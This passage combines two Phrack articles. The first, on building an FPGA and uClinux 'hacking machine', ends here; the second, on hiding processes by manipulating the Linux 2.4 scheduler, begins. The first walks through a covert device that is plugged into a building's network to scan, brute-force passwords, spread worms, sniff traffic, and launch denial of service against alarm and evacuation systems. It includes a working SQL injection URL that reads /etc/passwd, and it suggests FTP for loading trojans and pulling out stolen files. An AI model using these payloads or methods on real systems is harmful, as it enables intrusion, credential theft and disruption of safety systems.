When the advantages of softcore processing are applied in hacking, it brings out more creative methods of attack, the only limitation is the imagination. Richard Clayton had shown the method of extracting a 3DES key from an IBM 4758 that is running Common Cryptographic Architecture (CCA)[5]. The IBM 4758 with its CCA software is widely used in the banking industry to hold encryption keys securely. The device is extremely tamper-resistant and no physical attack is known that will allow keys to be accessed. According to Richard, about 20 minutes of uninterrupted access to the IBM 4758 with Combine_Key_Parts permission is sufficient to export the DES and 3DES keys. For convenience purpose, it is more likely to implement an embedded system with customized application to get the keys within the 20 minutes of accessing to the device. An evaluation board from Altera was selected by Richard Clayton for the purpose of keys exporting and additional two days of offline key cracking.

In practice, by using multiple NIOS-core with customized peripherals would provide better performance in offline key cracking. In fact, customized parallel processing is very suitable to exploit both symmetrical and asymmetrical encrypted keys.

--[4. - Hacking with Embedded Linux

For application based hacking, such as buffer overflow and SQL injection, it is more preferred to have RTOS installed in the embedded system. For code reusability purpose, embedded linux would be the best choice of embedded hacking platform. The following examples have clearly shown the possible attacks under an embedded platform. The condition of the embedded platform is come with a Nios-core in Stratix and uClinux being installed. By recompiling the source code of netcat and make it run in uClinux, a swiss army knife is created and ready to perform penetration as listed below: -

a) Port Scan With Pattern Recognition

A list of subnet can be defined initially in the embedded system and bring it into a commercial building. Plug the embedded system into any RJ45 socket in the building, press a button to perform port scan with pattern recognition and identify any vulnerable network embedded system in the building. Press another button to launch attack (Denial of Service) to the target network embedded system(s). This is a serious problem when the target network embedded system(s) is/are related to the building evacuation system, surveillance system or security system.

b) Automatic Brute-Force Attack

Defines server(s) address, dictionary, and brute-force pattern in the embedded system. Again, plug the embedded system into any RJ45 socket in the building, press a button to start the password guessing process. While this small box of embedded system is located in a hidden corner of any RJ45 socket, it can perform the task of cracking over days, powered by battery.

c) LAN Hacking

By pre-identify the server(s) address, version of patch, type of service(s), a structured attack can be launched within the area of the building. For example, by defining:

```
http://192.168.1.1/show.php?id=1%20and%201=2%20union%20select%20
8,7,load_file(char(47,101,116,99,47,112,97,115,115,119,100)),5,4,
3,2,1

**char(47,101,116,99,47,112,97,115,115,119,100) = /etc/passwd
```

in the embedded system initially. Again, plug the embedded system into any RJ45 socket in the building (within the LAN), press a button to start SQL injection attack to grab the password file of the Unix machine (in the LAN). The password file is then store in the flash memory and ready to be loaded out for offline cracking. Instead of performing SQL injection, exploits can be used for the same purpose.

d) Virus/Worm Spreading

The virus/worm can be pre-loaded in the embedded system. Again, plug the embedded system into any RJ45 socket in the building, press a button to run an exploit to any vulnerable target machine, and load the virus/worm into the LAN.

e) Embedded Sniffer

Switch the network interface from normal mode into promiscuous mode and define the sniffing conditions. Again, plug the embedded system into any RJ45 socket in the building, press a button to start the sniffer. To make sure the sniffing process can be proceed in switch LAN, ARP sniffer is recommended for this purpose.

--[5. - "Hacking Machine" Implementation In FPGA

The implementation of embedded "hacking machine" will be demonstrated in Altera's NIOS development board with Stratix EP1S10 FPGA. The board provides a 10/100-base-T ethernet and a compact-flash connector. Two RS-232 ports are also provided for serial interfacing and system configuration purposes, respectively. Besides, the onboard 1MB of SRAM, 16MB of SDRAM, and 8MB of flash memory are ready for embedded linux installation[6]. The version of embedded linux that is going to be applied is uClinux from microtronix[7].

Ok, that is the specification of the board. Now, we start our journey of "hacking machine" design. We use three tools provided by Altera to implement our "hardware" design. In this case, the term of "hardware" means it is synthesizable and to be designed in Verilog-HDL. The three tools being used are: QuartusII (as synthesis tool), SOPC Builder (as Nios-core design tool), and C compiler. Others synthesis tools such as leonardo-spectrum from mentor graphic, and synplify from synplicity are optional to be used for special purpose. In this case, the synthesized design in edif format is defined as external module. It is needed to import the module from QuartusII to perform place-and-route (PAR). The outcome of PAR is defined as hardware-core. For advanced user, Modelsim from mentor graphic is highly recommended to perform behavioral simulation and Post-PAR simulation. Behavioral simulation is a type of functional verification to the digital hardware design. Timing issues are not put into the consideration in this state. Instead, Post-PAR simulation is a type of real-case verification. In this state, all the real-case factors such as power-consumption and timing conditions (in sdf format) are put into the consideration. [8,9,10,11,12]

A reference design is provided by microtronix and it is highly recommended to be the design framework for any others custom design with appropriate modifications [13]. Well, for our "hacking machine" design purpose, the only modification that we need to do is to assign the interrupts of four onboard push-buttons [14]. So, once the design framework is loaded into QuartusII, SOPC Builder is ready to start the design of Nios-core, Boot-ROM, SRAM and SDRAM inteface, Ethernet interface, compact-flash interface and so on. Before starting to generate synthesizable codes from the design, it is crucial to ensure the check-box of "Microtronix uClinux" under Software Components is selected (it is in the "More CPU Settings" tab of the main configuration windows in SOPC Builder). By selecting this option, it is enabling to build a uClinux kernel, uClibc library, and some uClinux's general purpose applications by the time of generating synthesizable codes. Once ready, generate the design as synthesizable codes in SOPC Builder following by performing PAR in QuartusII to get a hardware core. In general, there are two formats of hardware core:-

```
    a) .sof core:  To be downloaded into the EP1S10 directly by JTAG and
                   will require a re-load if the board is power cycled
                   **(Think as volatile)

    b) .pof core:  To be downloaded into EPC16 (enhanced configuration
                   device) and will automatically be loaded into the
                   FPGA every time the board is power cycled
                   **(Think as non-volatile)
```

The raw format of .sof and .pof hardware core is .hexout. As hacker, we would prefer to work in command line, so we use the hexout2flash tool to convert the hardware core from .hexout into .flash and relocate the base address of the core to 0x600000 in flash. The 0x600000 is the startup core loading address of EP1S10. So, once the .flash file is created, we use nios-run or nr command to download the hardware core into flash memory as following:

```
    [Linux Developer] ...uClinux/: nios-run hackcore.hexout.flash
```

After nios-run indicates that the download has completed successfully, restart the board. The downloaded core will now start as the default core whenever the board is restarted.

Fine, the "hardware" part is completed. Now, we look into the "software" implementation. We start from uClinux. As what is stated, the SOPC Builder had generated a framework of uClinux kernel, uClibc library, and some uClinux general purpose applications such as cat, mv, rm, and etc.

We start to reconfigure the kernel by using "make xconfig".

```
    [Linux Developer] ...uClinux/: cd linux
    [Linux Developer] ...uClinux/: make xconfig
```

In xconfig, perform appropriate tuning to the kernel, then use "make clean" to clean the source tree of any object files.

```
    [Linux Developer] ...linux/: make clean
```

To start building a new kernel use "make dep" following by "make".

```
    [Linux Developer] ...linux/: make dep
    [Linux Developer] ...linux/: make
```

To build the linux.flash file for uploading, use "make linux.flash".

```
    [Linux Developer] ...uClinux/: make linux.flash
```

The linux.flash file is defined as the operating system image. As what we know, an operating system must run with a file system.

So, we need to create a file system image too. First, edit the config file in userland/.config to select which application packages get built. For example:

```
    #TITLE agetty
    CONFIG_AGETTY=y
```

If an application package's corresponding variable is set to 'n' (for example, CONFIG_AGETTY=n), then it will not be built and copied over to the target/ directory. Then, build all application packages specified in the userland/.config as following:

```
    [Linux Developer] ...userland/: make
```

Now, we copy the pre-compiled netcat into target/ directory. After that, use "make romfs" to start generating the file system or romdisk image.

```
    [Linux Developer] ...uClinux/: make romfs
```

Once completed, the resulting romdisk.flash file is ready to be downloaded
to the target board. First, download the file system image following by the operating system image into the flash memory.

```
    [Linux Developer] ...uClinux/: nios-run -x romdisk.flash
    [Linux Developer] ...uClinux/: nios-run linux.flash
```

Well, our FPGA-based "hacking machine" is ready now.

Lets try to make use of it to a linux machine with /etc/passwd enabled. We assume the ip of the target linux machine is 192.168.1.1 as web server in the LAN that utilize MySQL database. Besides, we know that its show.php is vulnerable to be SQL injected. We also assume it has some security protections to filter out some dangerous symbols, so we decided to use char() method of injection. We assume the total columns in the table that access by show.php is 8.

Now, we define:

```
    char getpass[]="http://192.168.1.1/show.php?id=1%20and%201=2%20union
      %20select%208,7,load_file(char(47,101,116,99,47,112,97,115,115,119,
      100)),5,4,3,2,1";
```

as attacking string, and we store the respond data (content of /etc/passwd) in a file name of password.dat. By creating a pipe to the netcat, and at the same time to make sure the attacking string is always triggered by the push-button, well, our "hacking machine" is ready.

Plug the "hacking machine" into any of the RJ45 socket in the LAN, following by pressing a button to trigger the attacking string against 192.168.1.1. After that, unplug the "hacking machine" and connect to a pc, download the password.dat from the "hacking machine", and start the cracking process. By utilizing the advantages of FPGA architecture, a hardware cracker can be appended for embedded based cracking process. Any optional module can be designed in Verilog-HDL and attach to the FPGA for all-in-one hacking purpose. The advantages of FPGA implementation over the conventional hardcore processors will be deepened in the following section, with a lot of case-studies, comparisons and wonderful examples.

Tips:

**FTP server is recommended to be installed in "hacking machine" because of two reasons:

1) Any new or value-added updates (trojans, exploits, worms,...) to the "hacking machine" can be done through FTP (online update).

2) The grabbed information (password files, configuration files,...)

can be retrieved easily.

Notes:

**Installation of FTP server in uClinux is done by editing
userland/.config file to enable the ftpd service.

**This is just a demostration, it is nearly impossible to get a
unix/linux machine that do not utilize file-permission and shadow
to protect the password file. This article is purposely to show
the migration of hacking methodology from PC-based into embedded
system based.

--[6. - What The Advantages Of Using FPGA In Hacking ?

Well, this is a good question while someone will ask by using a $50 Rabbit module, a 9V battery and 20 lines of Dynamic C, a simple "hacking machine" can be implemented, instead of using a $300 FPGA development board and a proprietary embedded processor with another $495. The answer is, FPGA provides a very unique feature based on its architecture that is able to be hardware re-programmable.

As what we know, FPGA is a well known platform for algorithm verification in hardware implementation, especially in DSP applications. The demand for higher bit rates by the wired and wireless communications industry has led to the development of higher bit rate and low cost serial link interface chips. Based on such considerations, some demands of programmable channel and band scanning are needed to be digitized and re-programmable. A new term has been created for this type of framework as "software defined radio" or SDR. However, the slow adoption of SDR is due to the limitation in Analog-to-Digital Converter(ADC) to digitize the analog demodulation unit in transceiver module.
Although the sampling rate of the most advanced ADC is not yet to meet the specification of SDR, but it will come true soon. In this case, the application of conventional DSP chips such as TMS320C6200 (for fixed-point processing) and TMS320C6700 (for floating-point processing) are a little bit harder to handle such extremely high bit rates. Of course, someone may claim its parallel processing technique could solve the problem by using the following symbols in linear assembly language[15].

```
     Inst1
||   Inst2
||   Inst3
||   Inst4
||   Inst5
||   Inst6
         Inst7
```

The double-pipe symbols (||) indicate instructions that are in parallel with a previous instruction. Inst2 to Inst6, these five instructions run in parallel with the first instruction, Inst1. In TMS320, up to eight instructions can be running in parallel. However, this is not a true parallel method, but perform pipelining in different time-slot within a single clock cycle.
Instead, the true parallel processing can only be implemented with different sets of hardware module. So, FPGA should be the only solution to implement a true parallel processing architecture. For the case of SDR that is mentioned, it is just a an example to show the limitation of data processing in the structure of resource sharing. Meanwhile, when we consider to implement an encryption module, it is the same case as what data processing do. The method of parallel processing is extremely worth to enhance the time of key cracking process. Besides, it is significant to know that the implementation of encryption module in FPGA is hardware-driven. It is totally free from the limitation of any hardcore processor structure that is using a single instruction pointer (or program counter) to performing push and pop operations interactively over the stack memory. So, both of the mentioned advantages: true-parallel processing, and hardware-driven, are nicely clarified the uniqueness of FPGA’s architecture for advanced applications.

While we go further with the uniqueness of FPGA's architecture, more and more interesting issues can come into the discussion. For hacking purpose, we focus and stick to the discussion of utilizing the ability of hardware re-programmable in a FPGA-based "hacking machine". We ignore the ability of "software re-programmable" here because it can be done by any of the hardcore processor in the lowest cost. By applying the characterictic of hardware re-programmable, a segment of space in flash memory is reserved for hardware image. In Nios, it is started from 0x600000. This segment is available to be updated from remote through the network interface. In advanced mobile communication, this type of feature is started to be used for hardware bug-fix as well as module update [16] purpose. It is usually known as Over-The-Air (OTA) technology. For hacking purpose, the characteristic of hardware re-programmable had made our "hacking machine" to be general purpose. It can come with a hardware-driven DES cracker, and easily be changed to MD5 cracker or any other types of hardware-driven module. Besides, it can also be changed from an online cracker to be a proxy, in a second of time.

In this state, the uniqueness of FPGA's architecture is clear now. So, it is the time to start the discussion of black magic with the characteristic of hardware re-programmable in further detail. By using Nios-core, we explore from two points: custom instruction and user peripheral. A custom instruction is hardware-driven and implemented by custom logic as shown below:

```
       |---->|------------|
       |     |Custom Logic|-|
       | |-->|------------| |
       | |                  |
       | | |----------------||
    A ---->|               |-|
       |   |  Nios-ALU     | |----> OUT
    B ---->|               |-|
           |----------------|
```

By defining a custom logic that is parallel connected with Nios-ALU inputs, a new custom instruction is successfully created. With SOPC Builder, custom logic can be easily add-on and take-out from Nios-ALU, and so is the case of custom instruction. Now, we create a new custom instruction, let say nm_fpmult(). We apply the following codes:

```
    float a, b, result_slow, result_fast;

    result_slow = a * b;            //Takes 2874 clock cycles
    result_fast = nm_fpmult(a, b);  //Takes 19 clock cycles
```

From the running result, the operation of hardware-based multiplication as custom instruction is so fast that is even faster than a DSP chip. For cracking purpose, custom instructions set can be build up in respective to the frequency of operations being used. The instructions set is easily to be plugged and unplugged for different types of encryption being adopted.

The user peripheral is the second black magic of hardware re-programmable. As we know Nios-core is a soft processor, so a bus specification is needed for the communication of soft processor with other peripherals, such as RAM, ROM, UART, and timer. Nios-core is using a proprietary bus specification, known as Avalon-bus for peripheral-to-peripheral and Nios-core-to-peripheral communication purpose. So, user peripherals such as IDE and USB modules are usually be designed to expand the usability of embedded system. For hacking purpose, we ignore the IDE and USB peripherals because we are more interested to design user peripheral for custom communication channel synchronization. When we consider to hack a customize system such as building automation, public addressing, evacuation, security, and so on, the main obstacle is its proprietary communication protocol [17, 18, 19, 20, 21, 22].

In such case, a typical network interface is almost impossible to synchronize into the communication channel of a customize system.

For example, a system that is running at 50Mbps, neither a 10Based-T nor 100Based-T network interface card can communicate with any module within the system. However, by knowing the technical specification of such system, a custom communication peripheral can be created in FPGA. So, it is able to synchronize our "hacking machine" into the communication channel of the customize system. By going through the Avalon-bus, Nios-core is available to manipulate the data-flow of the customize system. So, the custom communication peripheral is going to be the customize media gateway of our "hacking machine". The theoretical basis of custom communication peripheral is come from the mechanism of clock data recovery (CDR). CDR is a method to ensure the data regeneration is done with a decision circuit that samples the data signal at the optimal instant indicated by a clock. The clock must be synchronized as exactly the same frequency as the data rate, and be aligned in phase with respect to the data. The production of such a clock at the receiver is the goal of CDR. In general, the task of CDR is divided into two: frequency acquisition and timing alignment.

Frequency acquisition is the process that locks the receiver clock frequency to the transmitted data frequency. Timing alignment is the phase alignment of the clock so the decision circuit samples the data at the optimal instant. Sometime, it is also named as bit synchronization or phase locking. Most timing alignment circuits can perform a limited degree of frequency acquisition, but additional acquisition aids may be needed. Data oversampling method is being used to create the CDR for our "hacking machine". By using the method of data oversampling, frequency acquisition is no longer be put into the design consideration. By ensuring the sampling frequency is always N times over than data rate, the CDR is able to work as normal. To synchronize multiple of customize systems, a frequency synthesis unit such as PLL is recommended to be used to make sure the sampling frequency is always N times over than data rate. A framework of CDR based-on the data oversampling method with N=4 is shown as following in Verilog-HDL.

**The sampling frequency is 48MHz (mclk), which is 4 times of data rate (12MHz).

```
    //define input and output

    input data_in;
    input mclk;
    input rst;

    output data_buf;

    //asynchronous edge detector

    wire reset = (rst & ~(data_in ^ capture_buf));

    //data oversampling module

    reg capture_buf;

    always @ (posedge mclk or negedge rst)
      if (rst == 0)
        capture_buf <= 0;
      else
        capture_buf <= data_in;

    //edge detection module

    reg [1:0] mclk_divd;

    always @ (posedge mclk or negedge reset or posedge reset)
      if (reset == 0)
        mclk_divd <= 2'b00;
      else
        mclk_divd <= mclk_divd + 1;

    //capture at data eye and put into a 16-bit buffer

    reg [15:0] data_buf;
```

```
    always @ (posedge mclk_divd[1] or negedge rst)
      if (rst == 0)
        data_buf <= 0;
      else
        data_buf <= {data_buf[14:0],capture_buf};
```

Once the channel is synchronized, the data can be transferred to Nios-core through the Avalon-Bus for further processing and interaction. The framework of CDR is plenty worth for channel synchronization in various types of custom communication channels. Jean P. Nicolle had shown another type of CDR for 10Base-T bit synchronization [23]. As someone might query for the most common approach of performing CDR channel synchronization in Phase-Locked Loop (PLL). Yes, this is a type of well known analog approach, by we are more interested to the digital approach, with the reason of hardware re-programmable - our black magic of FPGA. For those who interested to know more advantages of digital CDR approach over the analog CDR approach can refer to [24]. Anyway, the analog CDR approach is the only option for a hardcore-based (Scenix, Rabbit, SC12 ,...) "hacking machine" design, and it is sufferred to:

1. Longer design time for different data rate of the communication link. The PLL lock-time to preamble length, charge-pump circuit design, Voltage Controlled Oscillator (VCO), are very critical points.

2. Fixed-structure design. Any changes of "hacking application" need to re-design the circuit itself, and it is quite cumbersome.

As a result, by getting a detail technical specification of a customized system, the possibility to hack into the system has always existed, especially to launch the Denial of Service attack. By disabling an evacuation system, or a fire alarm system at emergency, it is a very serious problem than ever. Try to imagine, when different types of CDRs are implemented in a single FPGA, and it is able to perform automatic switching to select a right CDR for channel synchronization. On the other hand, any custom defined module is able to plug into the system itself and freely communicate through Avalon-bus. Besides, the generated hardware image is able to be downloaded into flash memory through tftp. By following with a soft-reset to re-configure the FPGA, the "hacking machine" is successfully updated. So, it is ready to hack multiple of custom systems at the same time.

case study:

**The development of OPC technology is slowly become popular. According to The OPC Foundation, OPC technology can eliminate expensive custom interfaces and drivers tranditionally required for moving information easily around the enterprise. It promotes interoperability, including amongst different computing solutions and platforms both horizontally and vertically in the emterprise [25].

--[7. - What Else Of Magic That Embedded Linux Can Do ?

So, we know the weakness of embedded system now, and we also know how to utilize the advantages of embedded system for hacking purpose. Then, what else of magic that we can do with embedded system? This is a good question.

By referring to the development of network applications, ubiquitous and pervasive computing would be the latest issues. Embedded system would probably to be the future framework as embedded firewall, ubiquitous gateway/router, embedded IDS, mobile device security server, and so on. While existing systems are looking for network-enabled, embedded system had established its unique position for such purpose. A good example is migrating MySQL into embedded linux to provide online database-on-chip service (in FPGA) for a building access system with RFID tags. Again, the usage and development of embedded system has no limitation, the only limitation is the imagination.

Tips:

**If an embedded system works as a server (http, ftp, ...), it is going
  to provide services such as web control, web monitoring,...
**If an embedded system works as a client (http, ftp, telnet, ..), then
  it is more likely to be a programmable "hacking machine"

--[8. - Conclusion

Embedded system is an extremely useful technology, because we can't expect every processing unit in the world as a personal computer. While we are begining to exploit the usefullness of embedded system, we need to consider all the cases properly, where we should use it and where we shouldn't use it. Embedded security might be too new to discuss seriously now but it always exist, and sometime naive. Besides, the abuse of embedded system would cause more mysterious cases in the hacking world.

--=[References

[1] http://www.siteplayer.com/

[2] http://www.beck-ipc.com/

[3] http://www.altera.com/

[4] http://www.xilinx.com/

[5] http://www.cl.cam.ac.uk/users/rnc1/descrack/index.html

[6] Nios Development Kit, Stratix Edition: Getting Started User Guide
    (Version 1.2) - July 2003
    http://www.altera.com/literature/ug/ug_nios_gsg_stratix_1s10.pdf

[7] http://www.microtronix.com/

[8] Nios Hardware Development Tutorial (Version 1.1) -
    July 2003
    http://www.altera.com/literature/tt/tt_nios2_hardware_tutorial.pdf

[9] Nios Software Development Tutorial (Version 1.3) -
    July 2003
    http://www.altera.com/literature/tt/tt_nios_sw.pdf

[10] Designing With The Nios (Part 1) -
     Second-Order, Closed-Loop Servo Control
     Circuit Cellar, #167, June 2004

[11] Designing With The Nios (Part 2) -
     System Enhancement
     Circuit Cellar, #168, July 2004

[12] Nios Tutorial (Version 1.1)
     February 2004
     http://www.altera.com/literature/tt/tt_nios_hw_apex_20k200e.pdf

[13] Microtronix Embedded Linux Development -
     Getting Started Guide: Document Revision 1.2
     http://www.pldworld.com/_altera/html/_excalibur/niosldk/httpd/
     getting_started_guide.pdf

[14] Stratix EP1S10 Device: Pin Information
     February 2004
     http://www.fulcrum.ru/Read/CDROMs/Altera/literature/lit-stx.html

[15] TMS320C6000 Assembly Language Tools User's Guide
     http://www.tij.co.jp/jsc/docs/dsps/support/download/tools/
     toolspdf6000/spru186i.pdf

[16] Dynamic Spectrum Allocation In Composite Reconfigurable Wireless

Networks
IEEE Communications Magazine, May 2004.

http://ieeexplore.ieee.org/iel5/35/28868/01299346.pdf?tp=&arnumber=
1299346&isnumber=28868

[17] TOA - VX-2000 (Digital Matrix System)

http://www.toa-corp.co.uk/asp/catalogue/products.asp?prodcode=VX-2000

[18] Klotz Digital - Vadis (Audio Matrix), VariZone (Complex Digital
PA System For Emergency Evacuation Applications)
http://www.klotz-digital.de/products/pa.htm

[19] Peavey - MediaMatrix System
http://mediamatrix.peavey.com/home.cfm

[20] Optimus - Optimus (Audio & Communication), Improve
(Distributed Audio)
http://www.optimus.es/eng/english.html

[21] Simplex - TrueAlarm (Fire Alarm Systems)
http://www.simplexgrinnell.com/

[22] Tyco - Fire Detection and Alarm, Integrated Security Systems,
Health Care Communication Systems
http://www.tycosafetyproducts-us.com

[23] 10Base-T FPGA Interface - Ethernet Packets: Sending and Receiving
http://www.fpga4fun.com/10BASE-T.html

[24] Ethernet Receiver
http://www.holmea.demon.co.uk/Ethernet/EthernetRx.htm

[25] The OPC Foundation
http://www.opcfoundation.org/

[26] www.ubicom.com (IP2022)

[27] http://www.zilog.com/products/family.asp?fam=218 (eZ80)

[29] http://www.fpga4fun.com/

[29] http://www.elektroda.pl/eboard

|=[EOF]=---=|

```
                              ==Phrack Inc.==

               Volume 0x0b, Issue 0x3f, Phile #0x12 of 0x14

|=-------=[ hiding processes  ( understanding the linux scheduler ) ]=----=|
|=-----------------------------------------------------------------------=|
|=-------------=[  by ubra from PHI Group -- 17 October 2004 ]=------------=|
|=------=[ mail://ubra_phi.group.za.org  http://w3.phi.group.za.org ]=----=|
```

--[Table of contents

--[1 - looking back

We begin our journey in the old days, when simply giving your process a weird name was enough to hide inside the tree. Sadly this is also quite effective these days due to lack of skill from stock admins. In the last millenium ..well actualy just before 1999, backdooring binaries was very popular (ps, top, pstree and others [1]) but this was very easy to spot, `ls -l` easy / although some could only be cought by a combination of size and some checksum / (i speak having in mind the skilled admin, because, in my view, an admin that isnt a bit hackerish is just the guy mopping up the keyboard). And it was a pain in the ass compatibility wise.

LRK (linux root kit) [2] is a good example of a "binary" kit. Not that long ago hackers started to turn towards the kernel to do their evil or to secure it. So,like everywhere this was an incremental process, starting from the upper level and going more inside kernel structures. The obvious place to look first were system calls, the entry point from userland to wonderland, and so the hooking method developed, be it by altering the sys_call_table[] (theres an article out there LKM_HACKING by pragmatic from THC about this [3]), or placing a jump inside the function body to your own code (developed by Silvio Cesare [4]) or even catching them at interrupt level (read about this in [5]).. and with this, one could intercept certain interesting system calls.

But syscalls are by no means the last (first) point where the pid structures get assembled. getdents() and alike are just calling on some other function, and they are doing this by means of yet another layer, going through the so called VFS. Hacking this VFS (Virtual FileSystem layer) is the new trend on todays kits; and since all unices are basicaly comprised of the same logical layers, this is (was) very portable. So as you see we are building from higher levels, programming wise, to lower levels; from simply backdoring the source of our troubles to going closer to the root, to the syscalls (and the functions that are "syscall-helpers"). The VFS is not by all means as low as we can go (hehe we hackers enjoy rolling in the mud of the kernel). We yet have to explore the last frontier (well relatively speaking any new frontier is the last). Yup, the very structures that help create the pid list - the task_structs. And this is where our journey begins.

Some notes.. kernel studied is from 2.4 branch (2.4.18 for source excerpts and 2.4.30 for patches and example code), theres some x86 specific code (sorry, i dont have access to other archs), also SMP is not discussed for the same reason and anyway it should be clear in the end what will be different from UP machines.

/*
        it seems the method i explain here is begining to emerge in part into the open underground in zero rk made by stealth from team teso, theres an article about it in phrack 61 [6], i was just about to miss the small REMOVE_LINKS looking so innocent there :-)
*/

--[2 - the schedule(r) inside

As processes give birth to other processes (just like in real life) they call on execve() or fork() syscalls to either get replaced or get splited into two different processes, a few things happen. We will look into fork as this is more interesting from our point of view.

```
 $ grep -rn sys_fork src/linux/
```

For i386 compatible archs which is what I have, you will see that without any introduction this function calls do_fork() which is where the arch independent work gets done. It is in kernel/fork.c.

```
<codesnip src="arch/i386/kernel/process.c" line=747>
asmlinkage int sys_fork(struct pt_regs regs)
{
        return do_fork(SIGCHLD, regs.esp, &regs, 0);
}
</codesnip src="arch/i386/kernel/process.c">
```

Besides great things which are not within the scope of this here, do_fork() allocates memory for a new task_struct

```
<codesnip src="kernel/fork.c" line=587>
int do_fork(unsigned long clone_flags, unsigned long stack_start,
            struct pt_regs *regs, unsigned long stack_size)
{
        .......
        struct task_struct *p;
        .......
        p = alloc_task_struct();
</codesnip src="kernel/fork.c">
```

and does some stuff on it like initializing the run_list,

```
<codesnip src="kernel/fork.c" line=653>
        INIT_LIST_HEAD(&p->run_list);
</codesnip src="kernel/fork.c">
```

which is basicaly a pointer (you should read about the linux linked list implementation to grasp this clearly [7]) that will be used in a linked list of all the processes waiting for the cpu and those expired (that got the cpu taken away, not released it willingly by means of schedule()), used inside the schedule() function.

The current priority array of what task queue we are in

```
<codesnip src="kernel/fork.c" line=687>
        p->array = NULL;
</codesnip src="kernel/fork.c">
```

(well we arent in any yet); the prio array and the runqueues are used inside the schedule() function to organize the tasks running and needing to be run.

```
<codesnip src="kernel/sched.c" line=124>
typedef struct runqueue runqueue_t;
```

```
struct prio_array {
        int nr_active;
        spinlock_t *lock;
        runqueue_t *rq;
        unsigned long bitmap[BITMAP_SIZE];
        list_t queue[MAX_PRIO];
};

/*
 * This is the main, per-CPU runqueue data structure.
 *
 * Locking rule: those places that want to lock multiple runqueues
 * (such as the load balancing or the process migration code), lock
 * acquire operations must be ordered by ascending &runqueue.
 */
struct runqueue {
        spinlock_t lock;
        unsigned long nr_running, nr_switches, expired_timestamp;
        task_t *curr, *idle;
        prio_array_t *active, *expired, arrays[2];
        int prev_nr_running[NR_CPUS];
} ____cacheline_aligned;

static struct runqueue runqueues[NR_CPUS] __cacheline_aligned;
</codesnip src="kernel/sched.c">
```

We‘ll be discussing more about this later.

The cpu time that this child will get; half the parent has goes to the child (the cpu time is the amout of time the task will get the processor for itself).

```
<codesnip src="kernel/fork.c" line=727>
        p->time_slice = (current->time_slice + 1) >> 1;
        current->time_slice >>= 1;
        if (!current->time_slice) {
                /*
                 * This case is rare, it happens when the parent has only
                 * a single jiffy left from its timeslice. Taking the
                 * runqueue lock is not a problem.
                 */
                current->time_slice = 1;
                scheduler_tick(0,0);
        }
</codesnip src="kernel/fork.c">
```

(for the neophytes, ">> 1" is the same as "/ 2")

Next we get the tasklist lock for write to place the new process in the linked list and pidhash list

```
<codesnip src="kernel/fork.c" line=752>
        write_lock_irq(&tasklist_lock);
        .......
        SET_LINKS(p);
        hash_pid(p);
        nr_threads++;
        write_unlock_irq(&tasklist_lock);
</codesnip src="kernel/fork.c">
```

and release the lock. include/linux/sched.h has these macro and inline functions, and the struct task_struct also:

```
<codesnip src="include/linux/sched.h" line=292>
struct task_struct {
        .......
        task_t *next_task, *prev_task;
        .......
        task_t *pidhash_next;
```

```
        task_t **pidhash_pprev;
</codesnip src="include/linux/sched.h">

<codesnip src="include/linux/sched.h" line=532>
#define PIDHASH_SZ (4096 >> 2)
extern task_t *pidhash[PIDHASH_SZ];

#define pid_hashfn(x)   ((((x) >> 8) ^ (x)) & (PIDHASH_SZ - 1))

static inline void hash_pid(task_t *p)
{
        task_t **htable = &pidhash[pid_hashfn(p->pid)];

        if((p->pidhash_next = *htable) != NULL)
                (*htable)->pidhash_pprev = &p->pidhash_next;
        *htable = p;
        p->pidhash_pprev = htable;
}
</codesnip src="include/linux/sched.h">

<codesnip src="include/linux/sched.h" line=863>
#define SET_LINKS(p) do { \
        (p)->next_task = &init_task; \
        (p)->prev_task = init_task.prev_task; \
        init_task.prev_task->next_task = (p); \
        init_task.prev_task = (p); \
        (p)->p_ysptr = NULL; \
        if (((p)->p_osptr = (p)->p_pptr->p_cptr) != NULL) \
                (p)->p_osptr->p_ysptr = p; \
        (p)->p_pptr->p_cptr = p; \
        } while (0)
</codesnip src="include/linux/sched.h">
```

So, pidhash is an array of pointers to task_structs which hash to the same pid, and are linked by means of pidhash_next/pidhash_pprev; this list is used by syscalls which get a pid as parameter, like kill() or ptrace(). The linked list is used by the /proc VFS and not only.

Last, the magic:

```
<codesnip src="kernel/fork.c" line=776>
#define RUN_CHILD_FIRST 1
#if RUN_CHILD_FIRST
        wake_up_forked_process(p);      /* do this last */
#else
        wake_up_process(p);             /* do this last */
#endif
</codesnip src="kernel/fork.c">
```

this is a function in kernel/sched.c which places the task_t (task_t is a typedef to a struct task_struct) in the cpu runqueue.

```
<codesnip src="kernel/sched.c" line=347>
void wake_up_forked_process(task_t * p)
{
        .......
        p->state = TASK_RUNNING;
        .......
        activate_task(p, rq);
</codesnip src="kernel/sched.c">
```

So lets walk through a process that after it gets the cpu calls just sys_nanosleep (sleep() is just a frontend) and jumps in a never ending loop, ill try to make this short. After setting the task state to TASK_INTERRUPTIBLE (makes sure we get off the cpu queue when schedule() is called), sys_nanosleep() calls upon another function, schedule_timeout() which sets us on a timer queue by means of add_timer() which makes sure we get woken up (that we get back on the cpu queue) after the delay has passed and effectively relinquishes the cpu by calling shedule() (most blocking syscalls implement this by putting the process to sleep until the perspective resource is available).

```
<codesnip src="kernel/timer.c" line=877>
asmlinkage long sys_nanosleep(struct timespec *rqtp, struct timespec *rmtp)
{
        .......
        current->state = TASK_INTERRUPTIBLE;
        expire = schedule_timeout(expire);
</codesnip src="kernel/timer.c">
```

```
<codesnip src="kernel/timer.c" line=819>
signed long schedule_timeout(signed long timeout)
{
        struct timer_list timer;
        .......
        init_timer(&timer);
        timer.expires = expire;
        timer.data = (unsigned long) current;
        timer.function = process_timeout;

        add_timer(&timer);
        schedule();
</codesnip src="kernel/timer.c">
```

If you want to read more about timers look into [7].

Next, schedule() takes us off the runqueue since we already arranged to be set on again there later by means of timers.

```
<codesnip src="kernel/sched.c" line=744>
asmlinkage void schedule(void)
{
        .......
                deactivate_task(prev, rq);
</codesnip src="kernel/sched.c">
```

(remember that wake_up_forked_process() called activate_task() to place us on the active run queue). In case there are no tasks in the active queue it tryes to get some from the expired array as it needs to set up for another task to run.

```
<codesnip src="kernel/sched.c" line=784>
        if (unlikely(!array->nr_active)) {
                /*
                 * Switch the active and expired arrays.
                 */
                .......
</codesnip src="kernel/sched.c">
```

Then finds the first process there and prepares for the switch (if it doesnt find any it just leaves the current task running).

```
<codesnip src="kernel/sched.c" line=805>
                context_switch(prev, next);
</codesnip src="kernel/sched.c">
```

This is an inline function that prepares for the switch which will get done in __switch_to() (switch_to() is just another inline function, sort of)

```
<codesnip src="kernel/sched.c" line=400>
static inline void context_switch(task_t *prev, task_t *next)
</codesnip src="kernel/sched.c">
```

```
